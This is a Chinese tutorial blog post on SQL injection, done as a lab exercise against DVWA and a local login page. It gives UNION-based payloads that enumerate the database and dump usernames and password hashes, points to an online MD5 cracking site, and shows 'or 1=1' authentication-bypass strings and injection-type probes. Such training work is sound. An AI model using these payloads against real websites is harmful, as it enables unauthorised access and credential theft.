首页 > 数据库 >sql 注入_商洛学院司徒荆_新浪博客

sql 注入_商洛学院司徒荆_新浪博客

时间:2023-01-08 10:33:34浏览次数:54  
标签:语句 Sql 商洛 输入 sql 司徒 id select users


一、sql 注入:猜解数据库

shiyan:~/ $ wget http://labfile.oss.aliyuncs.com/courses/876/dvwa.tar.gz

shiyan:~/ $ tar -zxvf dvwa.tar.gz

shiyan:~/ $ cd dvwa

shiyan:~/ $ sudo apt-get update

shiyan:~/ $ ./deploy.sh

进入 Firefox 浏览器,输入网址 : localhost/dvwasql , 点击create/Reset Database创建数据库:

进入登录界面,默认用户名为 admin 密码为 password

将 Security 级别调整为 low

进入 SQL injection页面开始注入:

先输入 1 ,查看回显 (URL中ID=1,说明php页面通过get方法传递参数):

那实际上后台执行了什么样的Sql语句呢?点击 view source查看源代码 :

此处输入图片的描述

可以看到,实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1';

我们是通过控制参数Id的值来返回我们需要的信息。

如果我们不按常理出牌,比如在输入框中输入 1' order by 1#

实际执行的Sql语句就会变成:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)

这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。

输入 1' order by 1#和 1' order by 2#时都返回正常:

当输入 1' order by 3#时,返回错误:

由此可知,users表中只有两个字段,数据为两列。

接下来我们使用 union select联合查询继续获取信息。

union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。

输入1' union select database(),user()#进行查询 :

database()将会返回当前网站所使用的数据库名字.

user()将会返回执行当前查询的用户名.

实际执行的Sql语句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

通过上图返回信息,我们成功获取到:

当前网站使用数据库为 dvwa .

当前执行查询用户名为 root@localhost .

同理我们再输入 1' union select version(),@@version_compile_os#进行查询:

version() 获取当前数据库版本.

@@version_compile_os 获取当前操作系统。

实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

通过上图返回信息,我们再获取到:

dvwa 数据库有两个数据表,分别是 guestbook 和 users .

有些同学肯定还不满足目前获取到的信息,那么我们接下来尝试获取重量级的用户名、密码。

由经验我们可以大胆猜测users表的字段为 user 和 password ,所以输入:1' union select user,password from users#进行查询:

实际执行的 Sql 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到​​www.cmd5.com​​进行解密。

二、sql 注入实例:验证绕过

接下来我们再试试另一个利用 Sql 绕过登录验证的实验。

如下图所示,先下载文件并解压运行:

shiyan:~/ $ wget http://labfile.oss.aliyuncs.com/courses/876/sql2.tar.gz

shiyan:~/ $ tar -zxvf sql2.tar.gz

shiyan:~/ $ cd sql2

shiyan:~/ $ sudo apt-get update

shiyan:~/ $ ./deploy.sh

进入 Firefox 浏览器,输入网址 : localhost/sql2 , 按照下图所示顺序,初始化数据:

准备工作完成之后,我们进入首页发现这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。

我们先尝试随意输入用户名 111 和密码 111 登录:

从错误页面中我们无法获取到任何信息。

看看后台代码如何做验证的:

实际执行的操作时:

select * from users where username='123' and password='123'

当查询到数据表中存在同时满足 username 和 password 字段时,会返回登录成功。

按照第一个实验的思路,我们尝试在用户名中输入 123' or 1=1 #, 密码同样输入 123' or 1=1 # :

为什么能够成功登陆呢?因为实际执行的语句是:

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照 Mysql 语法,# 后面的内容会被忽略,所以以上语句等同于(实际上密码框里不输入任何东西也一样):

select * from users where username='123' or 1=1

由于判断语句 or 1=1 恒成立,所以结果当然返回真,成功登录。

我们再尝试不使用 # 屏蔽单引号,采用手动闭合的方式:

实际执行的 Sql 语句是:

select * from users where username='123' or '1'='1' and password='123' or '1'='1`

看到了吗?两个 or 语句使 and 前后两个判断永远恒等于真,所以能够成功登录。

还有很多其他 Mysql 语句可以巧妙的绕过验证,同学们可以发散自己的思维进行尝试。

判断 Sql 的类型

通常 Sql 分为 2 种类型:

(1)数字型

(2)字符型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,

但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

1、 数字型判断:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。

Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:

当输入 and 1=1时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=1

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。

我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

select * from <表名> where id = 'x and 1=1'

select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

2、字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:

select * from <表名> where id = 'x'

这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:

Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。

Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:

当输入 and '1'='1时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='1'

语法正确,逻辑判断正确,所以返回正确。

当输入 and '1'='2时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='2'

语法正确,但逻辑判断错误,所以返回正确。

标签:语句,Sql,商洛,输入,sql,司徒,id,select,users
From: https://blog.51cto.com/sunjikui/5996534

相关文章

  • kali Linux下wifi密码安全测试(1)虚拟机下usb无线网卡的挂载_商洛学院司徒荆_新浪博客
         VMWare下的配置下的配置首先我要说的是,wifi密码的破解不是想象中的那么容易,目前还没有一个可以破解任意类型wifi密码的工具或者方案存在。虽然你可以在网络上找......
  • php代码审计【9】SQL 注入研究
    0x01报错注入及利用0x0a核心代码现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select、Insert、Update和Delete四种类型,注入......
  • MySQL17 - DML基本语法 - 增删改
    DML基本语法-增删改DATE和DATETIME两个类型的区别DATE是短日期:只包括年-月-日默认格式:%Y-%m-%dDATETIME是长日期:包括年-月-日-时-分-秒默认格式:%Y-......
  • MSSQL数据库提权之XP_cmdshell提权
    xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。启用xp_cmdshell:EXEC......
  • MySQL数据库提权之UDF提权和MOF提权
    UDF提权概念:udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入......
  • MySQL16 - DDL基本语法
    DDL基本语法创建学生表,包括学号、姓名、年龄、性别、邮箱地址CREATETABLEt_student( noINT, nameVARCHAR(32), sexCHAR(1)DEFAULT'm', ageINT(3), emailV......
  • 查看SQL Server 数据库表信息
    Sqlserver查询所有表名及其描述​selecttop1000ROW_NUMBER()OVER(ORDERBYa.name)ASNo,a.nameAS表名,CONVERT(NVARCHAR(100),isnull(g.[value],'-'))AS......
  • 11.动态SQL
    什么是动态SQL:动态SQL就是指根据不同的条件生成不同的SQL语句if:这条语句提供了可选的查找文本功能。//动态sql--ifList<Blog>getBlog(Map<String,Object>map);<s......
  • MYSQL在Linux的安装
    MYSQL在Linux的安装Centos7centos默认带有mariadb,与mysql冲突1、检测当前系统中是否安装MySQLrpm-qa|grepmysql2、卸载已经安装的冲突软件rpm-e--n......
  • 数据分析中的SQL如何解决业务问题
    本文来自知乎问答。提问:数据分析人员需要掌握sql到什么程度?请问做一名数据分析人员,在sql方面需要掌握到什么程度呢?会增删改查就可以了吗?还是说关于开发的内容也要会?不同......